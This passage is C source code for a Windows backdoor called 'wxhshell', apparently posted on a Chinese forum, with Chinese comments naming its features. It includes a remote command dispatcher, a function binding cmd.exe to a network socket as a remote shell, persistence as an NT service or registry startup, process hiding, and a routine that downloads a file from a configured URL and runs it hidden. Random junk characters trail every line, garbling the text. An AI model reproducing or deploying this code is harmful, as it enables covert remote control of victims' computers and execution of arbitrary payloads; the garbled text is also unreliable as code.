  } w7-WUvxl  
  else { x.$1<w64t  
Uh|>Skic4  
    switch(cmd[0]) { ]M,06P>?  
  *s)}Bj  
  // 帮助 -s__ E  
  case '?': { V+Xl9v4O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NvtM3  
    break; 7\/5r.  
  } uD>z@J-v  
  // 安装 qJ8-9^E,L  
  case 'i': { {<w +3Va  
    if(Install()) ^m7~:=K7WG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *]s&8/Gmb  
    else 8 #oR/Nt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TYjA:d9YH  
    break; u/AT-e r;  
    } X)uDSI~  
  // 卸载 Y?Vz(udD  
  case 'r': { aW{L7N%  
    if(Uninstall())  s&*yk p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V`fL%du,3  
    else J(h3]J/Yw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S2=%x.  
    break; B} *V%}:)  
    } [{F%LRCo-  
  // 显示 wxhshell 所在路径 -S; &Q'Mt  
  case 'p': { 73DlRt *  
    char svExeFile[MAX_PATH];  pbB2wt  
    strcpy(svExeFile,"\n\r"); 2eok@1  
      strcat(svExeFile,ExeFile); x3p9GAd#  
        send(wsh,svExeFile,strlen(svExeFile),0); izt^Wi|  
    break; +cfziQ$'  
    } _J"mR]I+  
  // 重启 gM_:l  
  case 'b': { rB]W,8~%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /)1v9<vM"  
    if(Boot(REBOOT)) fuSq ={]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]G1R0 Q  
    else { INLf#  N  
    closesocket(wsh); !Q[}s #g  
    ExitThread(0); 8[\ 79|  
    } pv$tTWk  
    break; f4]&pcK  
    } E\e]K !  
  // 关机 ABWb>EZ8  
  case 'd': { Ff/Ig]Lb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \|{*arS  
    if(Boot(SHUTDOWN)) 5LMj!)3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5!:._TcO  
    else { >6K4b/.5w  
    closesocket(wsh); 'jbMTI  
    ExitThread(0); ` !kL1oUYE  
    } S1C^+Sla]  
    break; wG:$6  
    } XIN5a~[z*  
  // 获取shell T5{T[YdX<  
  case 's': { ,^+#M{Z  
    CmdShell(wsh); oQBiPN+v.3  
    closesocket(wsh); (6#M9XL  
    ExitThread(0); AFtCqq#[  
    break; zg0%>iqO  
  } (+$ol'i  
  // 退出 {fElto   
  case 'x': { @fDQ^ 4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LI:?Y_r  
    CloseIt(wsh); T:)% P6/  
    break; hOSf'mi  
    } )T<D6l Lt  
  // 离开 :>ZzP:QD  
  case 'q': { |?|K\UF(Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |%3O) B  
    closesocket(wsh); d.b?! kn  
    WSACleanup(); L+(C5L93}  
    exit(1); Ahd\TH  
    break; q1<Fg.-r  
        } X#Ak'%J  
  } V[To,f  
  } dRM5urR6,  
v?%0~!  
  // 提示信息 6BR \iZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )MMhlcNC  
} @qpYDnJ:  
  } vsw7|  
Yo@m50s$  
  return; @>gD1Q7v b  
} ^,~N7`  
>9(7h&[Y  
// shell模块句柄 Kyyih|{  
int CmdShell(SOCKET sock) ;*"!:GR%h  
{ p5D5%B/  
STARTUPINFO si; #?A]v>I;C  
ZeroMemory(&si,sizeof(si)); @\S]]oLn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?L8&(&1@VD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $8EV, 9^U  
PROCESS_INFORMATION ProcessInfo; 9PUa?Bc`=  
char cmdline[]="cmd"; Q*,6X*W!~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rd .U;>  
  return 0; @'@s*9Nr  
} ntDRlX  
L,yA<yrC  
// 自身启动模式 A8#.1uEgNb  
int StartFromService(void) ,*q#qW!!  
{ Dl>*L  
typedef struct d*]Dv,#X  
{ u'#`yTB6b  
  DWORD ExitStatus; iLjuE)6-$  
  DWORD PebBaseAddress; ev)rOcOU  
  DWORD AffinityMask; >cBGw'S  
  DWORD BasePriority; k, $I59  
  ULONG UniqueProcessId; y|FBYcn#F  
  ULONG InheritedFromUniqueProcessId; $'WapxF  
}   PROCESS_BASIC_INFORMATION; <Gbn PG?  
" whO}  
PROCNTQSIP NtQueryInformationProcess; dM$N1DB{U+  
R>/QA RX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5HWwl.D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; # q0Ub-  
Ib_n'$5#z  
  HANDLE             hProcess; .Z(S4wV  
  PROCESS_BASIC_INFORMATION pbi; z Y$X|= f  
ws*~$x?7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,\\%EZ%a  
  if(NULL == hInst ) return 0; q[PD  
m1~qaD<DZ$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N#<zEAB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :t2 9`x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #i`A4D  
GInZ53cQ  
  if (!NtQueryInformationProcess) return 0; lWu9/r 1  
icKg7-$N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !=~s/{$PE  
  if(!hProcess) return 0; ]Ssw32yn  
C8bGae(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FUW(>0x?  
E<X{72fb>  
  CloseHandle(hProcess); y V 9]_k  
|.Y@^z;P3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~x4{P;y  
if(hProcess==NULL) return 0; 4~m.#6MT  
Yj^avO=;  
HMODULE hMod; B9m>H=8a  
char procName[255]; gL[1wM%?  
unsigned long cbNeeded; H|rX$P  
Xh7~MU~X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QoT3;<r}  
 Gh)sw72  
  CloseHandle(hProcess); ] dm1Qm  
CN8@c!mB  
if(strstr(procName,"services")) return 1; // 以服务启动 @dWS*@  
`Q1WVd29  
  return 0; // 注册表启动 lJGqR0:r+  
} p,[XT`q^  
|%2/I>o  
// 主模块 EL 8N[]RF  
int StartWxhshell(LPSTR lpCmdLine) 7 BnenHD  
{ /IrR,bvA  
  SOCKET wsl; T~wZ  
BOOL val=TRUE; 9J2q`/6~e  
  int port=0; Z3abem<Q  
  struct sockaddr_in door; Tjeo*n^  
xtIehr0{$I  
  if(wscfg.ws_autoins) Install(); @o3R`ZgC]\  
kYI(<oTY~  
port=atoi(lpCmdLine); R+kZLOE  
z[KN^2YS  
if(port<=0) port=wscfg.ws_port; qj3bt_F!x  
JXSqtk=  
  WSADATA data; Qa7S'(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o {Xw Li  
&JXHDpd$a^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bWQORjnd8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  i_E#cU  
  door.sin_family = AF_INET; 0r$hPmvv8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Io4:$w  
  door.sin_port = htons(port); f5=t*9_-[  
!OZh fMVd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -t~B@%  
closesocket(wsl); PkCeV]`w  
return 1; FbCZV3Y  
} 'j"N2NJ  
evmEX<N  
  if(listen(wsl,2) == INVALID_SOCKET) { q@M jeGs%  
closesocket(wsl); J6["j   
return 1; #G!Adj+p5  
} i!d7,>l+Q~  
  Wxhshell(wsl); -g[*wN8  
  WSACleanup(); 6U>jU[/  
!NAX6m  
return 0; d Xo'#.  
im?XXsH'  
} wM4g1H%s  
;~@PYIp  
// 以NT服务方式启动 QV H'06 "{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GY$?^&OO>  
{ ?n9$,-^v  
DWORD   status = 0; 1uge>o&  
  DWORD   specificError = 0xfffffff; Ae_ E;[mj  
t`1]U4s&I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5WNg+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sBXk$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *1)NABp6D  
  serviceStatus.dwWin32ExitCode     = 0; NdSxWrD`m  
  serviceStatus.dwServiceSpecificExitCode = 0; o27`g\gDR,  
  serviceStatus.dwCheckPoint       = 0; F",abp!  
  serviceStatus.dwWaitHint       = 0; ]o+|jgkt]  
!zkEh9G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MqBATW.pmJ  
  if (hServiceStatusHandle==0) return; T17LYHIT  
8m[L]6F(-z  
status = GetLastError(); \HQb#f,  
  if (status!=NO_ERROR) So 6cm|{  
{ YTPmS\ H _  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Nt^&YE7d:  
    serviceStatus.dwCheckPoint       = 0; 5GFnfc}  
    serviceStatus.dwWaitHint       = 0; ~\}EROb <  
    serviceStatus.dwWin32ExitCode     = status; /~rO2]rZ@  
    serviceStatus.dwServiceSpecificExitCode = specificError; -Us% g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _>m*`:Wb  
    return; 4qz{ D"M  
  } fh)`kZDk  
ftqW3VW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Xsn- +e  
  serviceStatus.dwCheckPoint       = 0; IIn\{*|mW  
  serviceStatus.dwWaitHint       = 0; FC(cXPX}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %y\7  
} WI!z92qq[  
,$qs9b~  
// 处理NT服务事件,比如:启动、停止 #Ii.tTk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *Z2Q]?:{ i  
{ >~>[}d;glw  
switch(fdwControl) uv!qE1z@':  
{ 1V3J:W#;  
case SERVICE_CONTROL_STOP: wP':B AQ4U  
  serviceStatus.dwWin32ExitCode = 0; a[cH@7W.#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +&zCmkVC7  
  serviceStatus.dwCheckPoint   = 0; oNsx Fi:  
  serviceStatus.dwWaitHint     = 0; ']Xx#U N  
  { 0a%ui2k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gq1Y]t|4F  
  } /0B ?3&H  
  return; _NnO mwK7  
case SERVICE_CONTROL_PAUSE: c]R![sa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0i `Zy!  
  break; ]b| @<E7Y  
case SERVICE_CONTROL_CONTINUE: 64X#:t+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (3r,PS@Qq@  
  break; TC#B^m`'p  
case SERVICE_CONTROL_INTERROGATE: ;l?(VqX_E  
  break; D?F5o^e"h<  
}; \)uad5`N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); , tj7'c$0  
} L/LN X{|  
:uDB3jN[  
// 标准应用程序主函数 .T-p]9*p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B :.;:AEbT  
{ vkgL"([_  
v>!}cB/6  
// 获取操作系统版本 M=`Se&-M  
OsIsNt=GetOsVer(); FRk_xxe"K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o9\m? ~g!E  
YDD]n*&  
  // 从命令行安装 d`7] reh  
  if(strpbrk(lpCmdLine,"iI")) Install(); BniVZCct  
#[yl;1)  
  // 下载执行文件 4344PBj  
if(wscfg.ws_downexe) { a8aqcDs>O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t O>qd#I  
  WinExec(wscfg.ws_filenam,SW_HIDE);  m:Abq`C  
} rWqA)j*!  
ttVSgKAsm  
if(!OsIsNt) { W%cPX0  
// 如果时win9x,隐藏进程并且设置为注册表启动 lM,:c.R  
HideProc(); [1CxMk~"[  
StartWxhshell(lpCmdLine); H4Ek,m|c  
} 3R .cj  
else P[i/o#  
  if(StartFromService()) ,_zt? o\  
  // 以服务方式启动 kyB]fmS  
  StartServiceCtrlDispatcher(DispatchTable); V= PoQ9d  
else ~vF o 0k(  
  // 普通方式启动 So`"z[5  
  StartWxhshell(lpCmdLine); p2^OQK  
RUu'9#fq  
return 0; {p iS3xBi  
}
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只看该作者 1 发表于: 2006-10-10
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